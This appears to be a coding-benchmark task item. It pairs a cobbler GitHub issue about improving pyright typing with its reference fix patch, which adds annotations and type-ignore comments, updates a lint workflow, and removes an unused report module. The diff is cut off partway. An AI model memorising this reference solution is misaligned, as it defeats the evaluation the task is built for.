Repository: cobbler/cobbler (language: python)

Issue:
Improve typing for the project with pyright
### Is your feature request related to a problem?

As a developer  
I want to be able to do refactorings if needed  
so that I can improve the code, fix bugs and deliver features.

### Provide a detailed description of the proposed feature

- Low-hanging fruit: Update [the workflow](https://github.com/jakebailey/pyright-action) to v2.
- Low-hanging fruit: Remove the changed-files action since it doesn't work as desired in our context.
- Low-hanging fruit: Exclude the build, venv and contrib directories plus the CLI (and its tests).

The real reason I am opening this issue is that many tests and methods are not annotated at all or are using too many `type: ignore` comments. This leads to incorrect type inference or broken logic. The issue here is that this leads to real bugs during refactorings since the dependencies between Items, Collections and the available attributes/methods are not clear.

The goal of this issue is to reduce the number of reported pyright errors or to make the action succeed fully even. Using `type: ignore` comments is allowed to make that happen since we do have libraries that don't have type stubs and we do have dynamically loaded code, furthermore due to the baseline of Python 3.6 we don't have protocols available to define keyword-only arguments for example.

### Alternatives you've considered

None

### Additional information

This issue was discovered in the context of creating PR #3787. The issue and relating PR are a fruit of the work in that context.

Attached is a log (since they expire) for the following run: https://github.com/cobbler/cobbler/actions/runs/9977173827/job/27571144391

The attached log is for the following commit: [3558631](https://github.com/cobbler/cobbler/commit/35586319bfc6684ccf826a0bf60eab99038b6101)

[gh-actions.txt](https://github.com/user-attachments/files/16409228/gh-actions.txt)




Discussion / hints:

Fix patch:
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 1aeada0b38..577f23c06f 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -42,19 +42,10 @@ jobs:
         run: sudo apt-get install -y libldap2-dev libsasl2-dev libsystemd-dev
       - name: Install Python dependencies
         run: pip install .[test,extra,docs,lint]
-      - name: Get changed files
-        # https://github.com/tj-actions/changed-files
-        id: changed-files
-        uses: tj-actions/changed-files@v35
-        with:
-          files: |
-            *.py
-            **/*.py
-      - uses: jakebailey/pyright-action@v1
+      - uses: jakebailey/pyright-action@v2
         # https://github.com/jakebailey/pyright-action
         with:
           version: '1.1.350'
-          extra-args: ${{ steps.changed-files.outputs.all_changed_files }}
   python_black:
     name: black formatter
     runs-on: ubuntu-latest
diff --git a/changelog.d/3794.added b/changelog.d/3794.added
new file mode 100644
index 0000000000..d416510003
--- /dev/null
+++ b/changelog.d/3794.added
@@ -0,0 +1,1 @@
+Improve typing for the project with pyright
\ No newline at end of file
diff --git a/cobbler/actions/acl.py b/cobbler/actions/acl.py
index a1a99f432e..c2c9af2ddc 100644
--- a/cobbler/actions/acl.py
+++ b/cobbler/actions/acl.py
@@ -87,7 +87,7 @@ def modacl(self, isadd: bool, isuser: bool, who: str) -> None:
         if not snipdir.startswith("/var/lib/cobbler/"):
             process_dirs[snipdir] = "r"
 
-        for (directory, how) in process_dirs.items():
+        for directory, how in process_dirs.items():
             cmd = [
                 "setfacl",
                 "-d",
diff --git a/cobbler/actions/buildiso/netboot.py b/cobbler/actions/buildiso/netboot.py
index de13166289..1087a4bbc9 100644
--- a/cobbler/actions/buildiso/netboot.py
+++ b/cobbler/actions/buildiso/netboot.py
@@ -491,7 +491,10 @@ def filter_systems(self, selected_items: Optional[List[str]] = None) -> List[Any
         for system in found_systems:
             # All systems not underneath a profile should be skipped
             parent_obj = system.get_conceptual_parent()
-            if parent_obj is not None and parent_obj.TYPE_NAME == "profile":
+            if (
+                parent_obj is not None
+                and parent_obj.TYPE_NAME == "profile"  # type: ignore[reportUnnecessaryComparison]
+            ):
                 return_systems.append(system)
         # Now finally return
         return return_systems
@@ -628,7 +631,7 @@ def _generate_system_config(
         distro: Optional["Distro"] = profile.get_conceptual_parent()  # type: ignore
         if distro is None:
             raise ValueError("Distro of Profile may never be None!")
-        distroname = self.make_shorter(distro.name)
+        distroname = self.make_shorter(distro.name)  # type: ignore
 
         data = utils.blender(self.api, False, system)
         autoinstall_scheme = self.api.settings().autoinstall_scheme
@@ -640,7 +643,9 @@ def _generate_system_config(
 
         append_line = AppendLineBuilder(
             distro_name=distroname, data=data
-        ).generate_system(distro, system, exclude_dns)
+        ).generate_system(
+            distro, system, exclude_dns  # type: ignore
+        )
         kernel_path = f"/{distroname}.krn"
         initrd_path = f"/{distroname}.img"
 
@@ -649,7 +654,7 @@ def _generate_system_config(
         )
         grub_cfg = self._render_grub_entry(
             append_line,
-            menu_name=distro.name,
+            menu_name=distro.name,  # type: ignore
             kernel_path=kernel_path,
             initrd_path=initrd_path,
         )
@@ -657,7 +662,7 @@ def _generate_system_config(
         return (
             isolinux_cfg,
             grub_cfg,
-            BootFilesCopyset(distro.kernel, distro.initrd, distroname),
+            BootFilesCopyset(distro.kernel, distro.initrd, distroname),  # type: ignore
         )
 
     def _copy_esp(self, esp_source: str, buildisodir: str):
diff --git a/cobbler/actions/hardlink.py b/cobbler/actions/hardlink.py
index e9402587a5..bf61c4c087 100644
--- a/cobbler/actions/hardlink.py
+++ b/cobbler/actions/hardlink.py
@@ -1,6 +1,7 @@
 """
 Hard links Cobbler content together to save space.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: Copyright 2009, Red Hat, Inc and Others
 # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
@@ -28,10 +29,6 @@ def __init__(self, api: "CobblerAPI") -> None:
 
         :param api: The API to resolve information with.
         """
-        if api is None:
-            raise ValueError(
-                "cobbler hardlink requires the Cobbler-API for resolving the root folders."
-            )
         self.api = api
         self.hardlink = ""
         self.logger = logging.getLogger()
diff --git a/cobbler/actions/importer.py b/cobbler/actions/importer.py
index ba50d30e49..9c0adf213e 100644
--- a/cobbler/actions/importer.py
+++ b/cobbler/actions/importer.py
@@ -2,6 +2,7 @@
 This module contains the logic that kicks of the ``cobbler import`` process. This is extracted logic from ``api.py``
 that is essentially calling ``modules/mangers/import_signatures.py`` with some preparatory code.
 """
+
 import logging
 import os
 from typing import TYPE_CHECKING, Optional
@@ -59,7 +60,7 @@ def run(
         )
 
         # Both --path and --name are required arguments.
-        if mirror_url is None or not mirror_url:
+        if mirror_url is None or not mirror_url:  # type: ignore[reportUnnecessaryComparison]
             self.logger.info("import failed.  no --path specified")
             return False
         if not mirror_name:
diff --git a/cobbler/actions/replicate.py b/cobbler/actions/replicate.py
index 29272ae824..3cd30b930b 100644
--- a/cobbler/actions/replicate.py
+++ b/cobbler/actions/replicate.py
@@ -106,7 +106,7 @@ def remove_objects_not_on_master(self, obj_type: str) -> None:
         local_objects = utils.lod_to_dod(self.local_data[obj_type], "uid")
         remote_objects = utils.lod_to_dod(self.remote_data[obj_type], "uid")
 
-        for (luid, ldata) in local_objects.items():
+        for luid, ldata in local_objects.items():
             if luid not in remote_objects:
                 try:
                     self.logger.info("removing %s %s", obj_type, ldata["name"])
@@ -154,7 +154,7 @@ def replace_objects_newer_on_remote(self, obj_type: str) -> None:
         local_objects = utils.lod_to_dod(self.local_data[obj_type], "uid")
         remote_objects = utils.lod_to_dod(self.remote_data[obj_type], "uid")
 
-        for (ruid, rdata) in remote_objects.items():
+        for ruid, rdata in remote_objects.items():
             # do not add the system if it is not on the transfer list
             if rdata["name"] not in self.must_include[obj_type]:
                 continue
diff --git a/cobbler/actions/report.py b/cobbler/actions/report.py
deleted file mode 100644
index 711eb01d64..0000000000
--- a/cobbler/actions/report.py
+++ /dev/null
@@ -1,500 +0,0 @@
-"""
-Report from a Cobbler master.
-FIXME: reinstante functionality for 2.0
-"""
-
-# SPDX-License-Identifier: GPL-2.0-or-later
-# SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others
-# SPDX-FileCopyrightText: Anderson Silva <ansilva@redhat.com>
-# SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail>
-
-import re
-from typing import TYPE_CHECKING, Any, Dict, List
-
-from cobbler import utils
-
-if TYPE_CHECKING:
-    from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM, Collection
-
-
-class Report:
-    """
-    TODO
-    """
-
-    def __init__(self, api: "CobblerAPI"):
-        """
-        Constructor
-
-        :param api: The API to hold all information in Cobbler available.
-        """
-        self.settings = api.settings()
-        self.api = api
-        self.report_type = None
-        self.report_what = None
-        self.report_name = None
-        self.report_fields = None
-        self.report_noheaders = None
-        self.array_re = re.compile(r"([^[]+)\[([^]]+)\]")
-
-    def fielder(
-        self, structure: Dict[str, Any], fields_list: List[str]
-    ) -> Dict[str, str]:
-        """
-        Return data from a subset of fields of some item
-
-        :param structure: The item structure to report.
-        :param fields_list: The list of fields which should be returned.
-        :return: The same item with only the given subset of information.
-        """
-        item: Dict[str, Any] = {}
-
-        for field in fields_list:
-            internal = self.array_re.search(field)
-            # check if field is primary field
-            if field in list(structure.keys()):
-                item[field] = structure[field]
-            # check if subfield in 'interfaces' field
-            elif internal and internal.group(1) in list(structure.keys()):
-                outer = internal.group(1)
-                inner = internal.group(2)
-                if isinstance(structure[outer], dict) and inner in structure[outer]:
-
-                    item[field] = structure[outer][inner]
-            elif "interfaces" in list(structure.keys()):
-                for device in list(structure["interfaces"].keys()):
-                    if field in structure["interfaces"][device]:
-                        item[field] = (
-                            device + ": " + structure["interfaces"][device][field]
-                        )
-        return item
-
-    def reporting_csv(
-        self, info: List[Dict[str, str]], order: List[Any], noheaders: bool
-    ) -> str:
-        """
-        Formats data on 'info' for csv output
-
-        :param info: The list of iteratable items for csv output.
-        :param order: The list of fields which are available in the csv file.
-        :param noheaders: Whether headers are printed to the output or not.
-        :return: The string with the csv.
-        """
-        outputheaders = ""
-        outputbody = ""
-        sep = ","
-
-        info_count = 0
-        for item in info:
-
-            item_count = 0
-            for key in order:
-
-                if info_count == 0:
-                    outputheaders += str(key) + sep
-
-                if key in list(item.keys()):
-                    outputbody += str(item[key]) + sep
-                else:
-                    outputbody += "-" + sep
-
-                item_count += 1
-
-            info_count += 1
-            outputbody += "\n"
-
-        outputheaders += "\n"
-
-        if noheaders:
-            outputheaders = ""
-
-        return outputheaders + outputbody
-
-    def reporting_trac(
-        self, info: List[Dict[str, str]], order: List[Any], noheaders: bool
-    ) -> str:
-        """
-        Formats data on 'info' for trac wiki table output
-
-        :param info: The list of iteratable items for table output.
-        :param order: The list of fields which are available in the table file.
-        :param noheaders: Whether headers are printed to the output or not.
-        :return: The string with the generated table.
-        """
-        outputheaders = ""
-        outputbody = ""
-        sep = "||"
-
-        info_count = 0
-        for item in info:
-
-            item_count = 0
-            for key in order:
-
-                if info_count == 0:
-                    outputheaders += sep + str(key)
-
-                if key in list(item.keys()):
-                    outputbody += sep + str(item[key])
-                else:
-                    outputbody += sep + "-"
-
-                item_count = item_count + 1
-
-            info_count = info_count + 1
-            outputbody += "||\n"
-
-        outputheaders += "||\n"
-
-        if noheaders:
-            outputheaders = ""
-
-        return outputheaders + outputbody
-
-    def reporting_doku(
-        self, info: List[Dict[str, str]], order: List[Any], noheaders: bool
-    ) -> str:
-        """
-        Formats data on 'info' for doku wiki table output
-
-        :param info: The list of iteratable items for table output.
-        :param order: The list of fields which are available in the table file.
-        :param noheaders: Whether headers are printed to the output or not.
-        :return: The string with the generated table.
-        """
-        outputheaders = ""
-        outputbody = ""
-        sep1 = "^"
-        sep2 = "|"
-
-        info_count = 0
-        for item in info:
-
-            item_count = 0
-            for key in order:
-
-                if info_count == 0:
-                    outputheaders += sep1 + key
-
-                if key in list(item.keys()):
-                    outputbody += sep2 + item[key]
-                else:
-                    outputbody += sep2 + "-"
-
-                item_count = item_count + 1
-
-            info_count = info_count + 1
-            outputbody += sep2 + "\n"
-
-        outputheaders += sep1 + "\n"
-
-        if noheaders:
-            outputheaders = ""
-
-        return outputheaders + outputbody
-
-    def reporting_mediawiki(
-        self, info: List[Dict[str, str]], order: List[Any], noheaders: bool
-    ) -> str:
-        """
-        Formats data on 'info' for mediawiki table output
-
-        :param info: The list of iteratable items for table output.
-        :param order: The list of fields which are available in the table file.
-        :param noheaders: Whether headers are printed to the output or not.
-        :return: The string with the generated table.
-        """
-        outputheaders = ""
-        outputbody = ""
-        opentable = '{| border="1"\n'
-        closetable = "|}\n"
-        sep1 = "||"
-        sep2 = "|"
-        sep3 = "|-"
-
-        info_count = 0
-        for item in info:
-
-            item_count = 0
-            for key in order:
-
-                if info_count == 0 and item_count == 0:
-                    outputheaders += sep2 + key
-                elif info_count == 0:
-                    outputheaders += sep1 + key
-
-                if item_count == 0:
-                    if key in list(item.keys()):
-                        outputbody += sep2 + str(item[key])
-                    else:
-                        outputbody += sep2 + "-"
-                else:
-                    if key in list(item.keys()):
-                        outputbody += sep1 + str(item[key])
-                    else:
-                        outputbody += sep1 + "-"
-
-                item_count = item_count + 1
-
-            info_count = info_count + 1
-            outputbody += "\n" + sep3 + "\n"
-
-        outputheaders += "\n" + sep3 + "\n"
-
-        if noheaders:
-            outputheaders = ""
-
-        return opentable + outputheaders + outputbody + closetable
-
-    def print_formatted_data(
-        self,
-        data: List[Dict[str, str]],
-        order: List[str],
-        report_type: str,
-        noheaders: bool,
-    ) -> None:
-        """
-        Used for picking the correct format to output data as
-
-        :param data: The list of iteratable items for table output.
-        :param order: The list of fields which are available in the table file.
-        :param noheaders: Whether headers are printed to the output or not.
-        :param report_type: The type of report which should be used.
-        """
-        if report_type == "csv":
-            print(self.reporting_csv(data, order, noheaders))
-        elif report_type == "mediawiki":
-            print(self.reporting_mediawiki(data, order, noheaders))
-        elif report_type == "trac":
-            print(self.reporting_trac(data, order, noheaders))
-        elif report_type == "doku":
-            print(self.reporting_doku(data, order, noheaders))
-        else:
-            raise ValueError("Unknown report type selected!")
-
-    @staticmethod
-    def reporting_print_sorted(collection: "Collection[ITEM]") -> None:
-        """
-        Prints all objects in a collection sorted by name
-
-        :param collection: The collection to print.
-        """
-        result = [x for x in collection]
-        result.sort(key=lambda x: x.name)
-        for item in result:
-            print(item.to_string())  # type: ignore
-
-    @staticmethod
-    def reporting_list_names2(collection: "Collection[ITEM]", name: str) -> None:
-        """
-        Prints a specific object in a collection.
-
-        :param collection: The collections object to print a collection from.
-        :param name: The name of the collection to print.
-        """
-        obj = collection.get(name)
-        if obj is not None:
-            print(obj.to_string())  # type: ignore
-
-    def reporting_print_all_fields(
-        self,
-        collection: "Collection[ITEM]",
-        report_name: str,
-        report_type: str,
-        report_noheaders: bool,
-    ) -> None:
-        """
-        Prints all fields in a collection as a table given the report type
-
-        :param collection: The collection to report.
-        :param report_name: The name of the report.
-        :param report_type: The type of report to give.
-        :param report_noheaders: Report without the headers. (May be useful for machine parsing)
-        :return: A report with all fields included pretty printed or machine readable.
-        """
-        # per-item hack
-        if report_name:
-            collection = collection.find(name=report_name)  # type: ignore
-            if collection:
-                collection = [collection]  # type: ignore
-            else:
-                return None
-
-        collection = [x for x in collection]  # type: ignore
-        collection.sort(key=lambda x: x.name)  # type: ignore
-        data: List[Dict[str, str]] = []
-        out_order = []
-        count = 0
-        for item_obj in collection:
-            item: Dict[str, str] = {}
-            if item_obj.ITEM_TYPE == "settings":  # type: ignore
-                structure = item_obj.to_dict()
-            else:
-                structure = item_obj.to_list()  # type: ignore
-
-            for (key, value) in list(structure.items()):  # type: ignore
-                # exception for systems which could have > 1 interface
-                if key == "interfaces":
-                    for (device, info) in list(value.items()):
-                        for (info_header, info_value) in list(info.items()):
-                            item[info_header] = str(device) + ": " + str(info_value)
-                            # needs to create order list for print_formatted_fields
-                            if count == 0:
-                                out_order.append(info_header)  # type: ignore
-                else:
-                    item[key] = value
-                    # needs to create order list for print_formatted_fields
-                    if count == 0:
-                        out_order.append(key)  # type: ignore
-
-            count = count + 1
-
-            data.append(item)
-
-        self.print_formatted_data(
-            data=data,
-            order=out_order,
-            report_type=report_type,
-            noheaders=report_noheaders,
-        )
-
-    def reporting_print_x_fields(
-        self,
-        collection: "Collection[ITEM]",
-        report_name: str,
-        report_type: str,
-        report_fields: str,
-        report_noheaders: bool,
-    ) -> None:
-        """
-        Prints specific fields in a collection as a table given the report type
-
-        :param collection: The collection to report.
-        :param report_name: The name of the report.
-        :param report_type: The type of report to give.
-        :param report_fields: The fields which should be included in the report.
-        :param report_noheaders: Report without the headers. (May be useful for machine parsing)
-        """
-        # per-item hack
-        if report_name:
-            search_results: List["ITEM"] = collection.find(
-                name=report_name, return_list=True
-            )  # type: ignore
-            if search_results:
-                search_results = [search_results]  # type: ignore
-            else:
-                return
-
-        search_results = [x for x in collection]
-        search_results.sort(key=lambda x: x.name)
-        data: List[Dict[str, str]] = []
-        fields_list = report_fields.replace(" ", "").split(",")
-
-        for item in search_results:
-            if item.ITEM_TYPE == "settings":  # type: ignore
-                structure = item.to_dict()
-            else:
-                structure = item.to_list()  # type: ignore
-            item = self.fielder(structure, fields_list)  # type: ignore
-            data.append(item)
-
-        self.print_formatted_data(
-            data=data,
-            order=fields_list,
-            report_type=report_type,
-            noheaders=report_noheaders,
-        )
-
-    # -------------------------------------------------------
-
-    def run(
-        self,
-        report_what: str = "",
-        report_name: str = "",
-        report_type: str = "",
-        report_fields: str = "",
-        report_noheaders: bool = False,
-    ) -> None:
-        """
-        Get remote profiles and distros and sync them locally
-
-        1. Handles original report output
-        2. Handles all fields of report outputs as table given a format
-        3. Handles specific fields of report outputs as table given a format
-
-        :param report_what: What should be reported. May be "all".
-        :param report_name: The name of the report.
-        :param report_type: The type of report to give.
-        :param report_fields: The fields which should be included in the report.
-        :param report_noheaders: Report without the headers. (May be useful for machine parsing)
-        """
-        if report_type == "text" and report_fields == "all":
-            for collection_name in [
-                "distro",
-                "profile",
-                "system",
-                "repo",
-                "network",
-                "image",
-            ]:
-                if report_what in (
-                    "all",
-                    collection_name,
-                    f"{collection_name}s",
-                    f"{collection_name}es",
-                ):
-                    if report_name:
-                        self.reporting_list_names2(
-                            self.api.get_items(collection_name), report_name  # type: ignore
-                        )
-                    else:
-                        self.reporting_print_sorted(self.api.get_items(collection_name))  # type: ignore
-
-        elif report_type == "text" and report_fields != "all":
-            utils.die("The 'text' type can only be used with field set to 'all'")
-
-        elif report_type != "text" and report_fields == "all":
-            for collection_name in [
-                "distro",
-                "profile",
-                "system",
-                "repo",
-                "network",
-                "image",
-            ]:
-                if report_what in (
-                    "all",
-                    collection_name,
-                    f"{collection_name}s",
-                    f"{collection_name}es",
-                ):
-                    self.reporting_print_all_fields(
-                        self.api.get_items(collection_name),  # type: ignore
-                        report_name,
-                        report_type,
-                        report_noheaders,
-                    )
-
-        else:
-            for collection_name in [
-                "distro",
-                "profile",
-                "system",
-                "repo",
-                "network",
-                "image",
-            ]:
-                if report_what in (
-                    "all",
-                    collection_name,
-                    f"{collection_name}s",
-                    f"{collection_name}es",
-                ):
-                    self.reporting_print_x_fields(
-                        self.api.get_items(collection_name),  # type: ignore
-                        report_name,
-                        report_type,
-                        report_fields,
-                        report_noheaders,
-                    )
diff --git a/cobbler/actions/reposync.py b/cobbler/actions/reposync.py
index a8621e1aec..8c5a21e8bf 100644
--- a/cobbler/actions/reposync.py
+++ b/cobbler/actions/reposync.py
@@ -180,7 +180,6 @@ def run(self, name: Optional[str] = None, verbose: bool = True) -> None:
     # ==================================================================================
 
     def sync(self, repo: "Repo") -> None:
-
         """
         Conditionally sync a repo, based on type.
 
@@ -205,7 +204,6 @@ def sync(self, repo: "Repo") -> None:
     # ====================================================================================
 
     def librepo_getinfo(self, dirname: str) -> Dict[Any, Any]:
-
         """
         Used to get records from a repomd.xml file of downloaded rpmmd repository.
 
@@ -290,7 +288,6 @@ def createrepo_walker(self, repo: "Repo", dirname: str, fnames: Any) -> None:
     # ====================================================================================
 
     def wget_sync(self, repo: "Repo") -> None:
-
         """
         Handle mirroring of directories using wget
 
@@ -334,7 +331,6 @@ def wget_sync(self, repo: "Repo") -> None:
     # ====================================================================================
 
     def rsync_sync(self, repo: "Repo") -> None:
-
         """
         Handle copying of rsync:// and rsync-over-ssh repos.
 
@@ -406,7 +402,6 @@ def rsync_sync(self, repo: "Repo") -> None:
 
     @staticmethod
     def reposync_cmd() -> List[str]:
-
         """
         Determine reposync command
 
@@ -429,7 +424,6 @@ def reposync_cmd() -> List[str]:
     # ====================================================================================
 
     def rhn_sync(self, repo: "Repo") -> None:
-
         """
         Handle mirroring of RHN repos.
 
@@ -531,7 +525,6 @@ def gen_urlgrab_ssl_opts(
     # ====================================================================================
 
     def yum_sync(self, repo: "Repo") -> None:
-
         """
         Handle copying of http:// and ftp:// yum repos.
 
diff --git a/cobbler/actions/sync.py b/cobbler/actions/sync.py
index f54963709d..48e702480b 100644
--- a/cobbler/actions/sync.py
+++ b/cobbler/actions/sync.py
@@ -283,7 +283,7 @@ def rsync_gen(self) -> None:
         distros: List[Dict[str, str]] = []
 
         for link in glob.glob(os.path.join(self.settings.webdir, "links", "*")):
-            distro = {}
+            distro: Dict[str, str] = {}
             distro["path"] = os.path.realpath(link)
             distro["name"] = os.path.basename(link)
             distros.append(distro)
@@ -342,7 +342,7 @@ def add_single_distro(self, distro_obj: "Distro") -> None:
         # generate any templates listed in the distro
         self.tftpgen.write_templates(distro_obj, write_file=True)
         # cascade sync
-        kids = self.api.find_profile(return_list=True, **{"distro": distro_obj.name})
+        kids = self.api.find_profile(return_list=True, distro=distro_obj.name)
         if not isinstance(kids, list):
             raise ValueError("Expected to get list of profiles from search!")
         for k in kids:
@@ -356,7 +356,7 @@ def add_single_image(self, image_obj: "Image") -> None:
         :param name: The name of the image.
         """
         self.tftpgen.copy_single_image_files(image_obj)
-        kids = self.api.find_system(return_list=True, **{"image": image_obj.name})
+        kids = self.api.find_system(return_list=True, image=image_obj.name)
         if not isinstance(kids, list):
             raise ValueError("Expected to get list of profiles from search!")
         for k in kids:
@@ -415,7 +415,7 @@ def add_single_profile(
         kids = profile.children
         for k in kids:
             self.add_single_profile(k, rebuild_menu=False)  # type: ignore
-        kids = self.api.find_system(return_list=True, **{"profile": profile.name})
+        kids = self.api.find_system(return_list=True, profile=profile.name)
         if not isinstance(kids, list):
             raise ValueError("Expected to get list of profiles from search!")
         for k in kids:
@@ -477,7 +477,7 @@ def remove_single_system(self, system_obj: "System") -> None:
         """
         bootloc = self.settings.tftpboot_location
         # delete contents of autoinsts_sys/$name in webdir
-        for (interface_name, _) in list(system_obj.interfaces.items()):
+        for interface_name, _ in list(system_obj.interfaces.items()):
             pxe_filename = system_obj.get_config_filename(
                 interface=interface_name, loader="pxe"
             )
diff --git a/cobbler/api.py b/cobbler/api.py
index 565b327792..68187e3208 100644
--- a/cobbler/api.py
+++ b/cobbler/api.py
@@ -20,6 +20,8 @@
         * ``input_int``
     * Changed:
         * ``new_*``: Accepts kwargs as a last argument now (so a dict) that makes it possible to seed an object
+    * Removed:
+        * Unused reporter module
 
 V3.3.4 (unreleased)
     * No changes
@@ -146,7 +148,6 @@
     log,
     mkloaders,
     replicate,
-    report,
     reposync,
     status,
 )
@@ -166,19 +167,15 @@
 from cobbler.utils import filesystem_helpers, input_converters, signatures
 
 if TYPE_CHECKING:
-    from cobbler.cobbler_collections.collection import (
-        FIND_KWARGS,
-        ITEM,
-        ITEM_UNION,
-        Collection,
-    )
+    from cobbler.cobbler_collections.collection import FIND_KWARGS, ITEM, Collection
     from cobbler.cobbler_collections.distros import Distros
     from cobbler.cobbler_collections.images import Images
-    from cobbler.cobbler_collections.manager import COLLECTION_UNION
     from cobbler.cobbler_collections.menus import Menus
     from cobbler.cobbler_collections.profiles import Profiles
     from cobbler.cobbler_collections.repos import Repos
     from cobbler.cobbler_collections.systems import Systems
+    from cobbler.items.abstract.base_item import BaseItem
+    from cobbler.items.item import Item
 
 
 # notes on locking:
@@ -483,7 +480,7 @@ def clean_items_cache(self, obj: Union[settings.Settings, Dict[str, Any]]):
 
     # ==========================================================
 
-    def get_item(self, what: str, name: str) -> Optional["ITEM_UNION"]:
+    def get_item(self, what: str, name: str) -> Optional["Item"]:
         """
         Get a general item.
 
@@ -495,7 +492,7 @@ def get_item(self, what: str, name: str) -> Optional["ITEM_UNION"]:
         result = self._collection_mgr.get_items(what).get(name)
         return result  # type: ignore
 
-    def get_items(self, what: str) -> "COLLECTION_UNION":
+    def get_items(self, what: str) -> "Collection[BaseItem]":
         """
         Get all items of a collection.
 
@@ -504,7 +501,7 @@ def get_items(self, what: str) -> "COLLECTION_UNION":
         """
         # self.log("get_items", [what], debug=True)
         items = self._collection_mgr.get_items(what)
-        return items  # type: ignore
+        return items
 
     def distros(self) -> "Distros":
         """
@@ -550,7 +547,7 @@ def menus(self) -> "Menus":
 
     # =======================================================================
 
-    def __item_resolved_helper(self, item_uuid: str, attribute: str) -> "ITEM":
+    def __item_resolved_helper(self, item_uuid: str, attribute: str) -> "BaseItem":
         """
         This helper validates the common data for ``*_item_resolved_value``.
 
@@ -637,9 +634,10 @@ def set_item_resolved_value(
             return
         # Deduplicate - only for dict
         if isinstance(property_object_of_attribute, InheritableDictProperty):
-            parent_item = desired_item.logical_parent
-            if hasattr(parent_item, attribute):
-                parent_value = getattr(parent_item, attribute)
+            # TODO: Cast this to the right Item type to be able to remove the type ignores
+            parent_item = desired_item.logical_parent  # type: ignore
+            if hasattr(parent_item, attribute):  # type: ignore
+                parent_value = getattr(parent_item, attribute)  # type: ignore
                 dict_value = input_converters.input_string_or_dict(value)
                 if isinstance(dict_value, str):
                     # This can only be the inherited case
@@ -659,7 +657,7 @@ def set_item_resolved_value(
 
     # =======================================================================
 
-    def copy_item(self, what: str, ref: "ITEM_UNION", newname: str) -> None:
+    def copy_item(self, what: str, ref: "BaseItem", newname: str) -> None:
         """
         General copy method which is called by the specific methods.
 
@@ -729,7 +727,7 @@ def copy_menu(self, ref: "menu.Menu", newname: str) -> None:
     def remove_item(
         self,
         what: str,
-        ref: Union["ITEM_UNION", str],
+        ref: Union["BaseItem", str],
         recursive: bool = False,
         delete: bool = True,
         with_triggers: bool = True,
@@ -744,7 +742,7 @@ def remove_item(
         :param delete: Not known what this parameter does exactly.
         :param with_triggers: Whether you would like to have the removal triggers executed or not.
         """
-        to_delete: Optional["ITEM_UNION"] = None
+        to_delete: Optional["BaseItem"] = None
         if isinstance(ref, str):
             to_delete = self.get_item(what, ref)
             if to_delete is None:
@@ -891,7 +889,7 @@ def remove_menu(
 
     # ==========================================================================
 
-    def rename_item(self, what: str, ref: "ITEM_UNION", newname: str) -> None:
+    def rename_item(self, what: str, ref: "BaseItem", newname: str) -> None:
         """
         Remove a general item. This method should not be used by an external api. Please use the specific
         rename_<itemtype> methods.
@@ -961,7 +959,7 @@ def rename_menu(self, ref: "menu.Menu", newname: str) -> None:
 
     def new_item(
         self, what: str = "", is_subobject: bool = False, **kwargs: Any
-    ) -> "ITEM_UNION":
+    ) -> "Item":
         """
         Creates a new (unconfigured) object. The object is not persisted.
 
@@ -1053,7 +1051,7 @@ def new_menu(self, is_subobject: bool = False, **kwargs: Any) -> "menu.Menu":
     def add_item(
         self,
         what: str,
-        ref: "ITEM_UNION",
+        ref: "BaseItem",
         check_for_duplicate_names: bool = False,
         save: bool = True,
         with_triggers: bool = True,
@@ -1223,7 +1221,7 @@ def find_items(
         name: str = "",
         return_list: bool = True,
         no_errors: bool = False,
-    ) -> Optional[Union["ITEM_UNION", List["ITEM_UNION"]]]:
+    ) -> Optional[Union["Item", List["Item"]]]:
         """
         This is the abstract base method for finding object int the api. It should not be used by external resources.
         Please reefer to the specific implementations of this method called ``find_<object type>``.
@@ -1272,7 +1270,7 @@ def __find_with_collection(
 
     def __find_without_collection(
         self, name: str, return_list: bool, no_errors: bool, criteria: Dict[Any, Any]
-    ) -> Optional[Union["ITEM_UNION", List["ITEM_UNION"]]]:
+    ) -> Optional[Union["Item", List["Item"]]]:
         collections = [
             "distro",
             "profile",
@@ -1293,7 +1291,7 @@ def __find_without_collection(
                 return match
         return None
 
-    def __find_by_name(self, name: str) -> Optional["ITEM_UNION"]:
+    def __find_by_name(self, name: str) -> Optional["Item"]:
         """
         This is a magic method which just searches all collections for the specified name directly,
         :param name: The name of the item(s).
@@ -1659,7 +1657,7 @@ def auto_add_repos(self) -> None:
 
     # ==========================================================================
 
-    def get_repo_config_for_profile(self, obj: "ITEM") -> str:
+    def get_repo_config_for_profile(self, obj: "BaseItem") -> str:
         """
         Get the repository configuration for the specified profile
 
@@ -1668,7 +1666,7 @@ def get_repo_config_for_profile(self, obj: "ITEM") -> str:
         """
         return self.yumgen.get_yum_config(obj, True)
 
-    def get_repo_config_for_system(self, obj: "ITEM") -> str:
+    def get_repo_config_for_system(self, obj: "BaseItem") -> str:
         """
         Get the repository configuration for the specified system.
 
@@ -1679,7 +1677,7 @@ def get_repo_config_for_system(self, obj: "ITEM") -> str:
 
     # ==========================================================================
 
-    def get_template_file_for_profile(self, obj: "ITEM_UNION", path: str) -> str:
+    def get_template_file_for_profile(self, obj: "Item", path: str) -> str:
         """
         Get the template for the specified profile.
 
@@ -1692,7 +1690,7 @@ def get_template_file_for_profile(self, obj: "ITEM_UNION", path: str) -> str:
             return template_results[path]
         return "# template path not found for specified profile"
 
-    def get_template_file_for_system(self, obj: "ITEM_UNION", path: str) -> str:
+    def get_template_file_for_system(self, obj: "Item", path: str) -> str:
         """
         Get the template for the specified system.
 
@@ -2028,7 +2026,7 @@ def deserialize(self) -> None:
         """
         return self._collection_mgr.deserialize()
 
-    def deserialize_item(self, obj: "ITEM") -> Dict[str, Any]:
+    def deserialize_item(self, obj: "BaseItem") -> Dict[str, Any]:
         """
         Load cobbler item from disk.
         Cobbler internal use only.
@@ -2230,34 +2228,6 @@ def replicate(
 
     # ==========================================================================
 
-    def report(
-        self,
-        report_what: str = "",
-        report_name: str = "",
-        report_type: str = "",
-        report_fields: str = "",
-        report_noheaders: bool = False,
-    ) -> None:
-        """
-        Report functionality for Cobbler.
-
-        :param report_what: The object type that should be reported.
-        :param report_name: The name of the object which should be possibly reported.
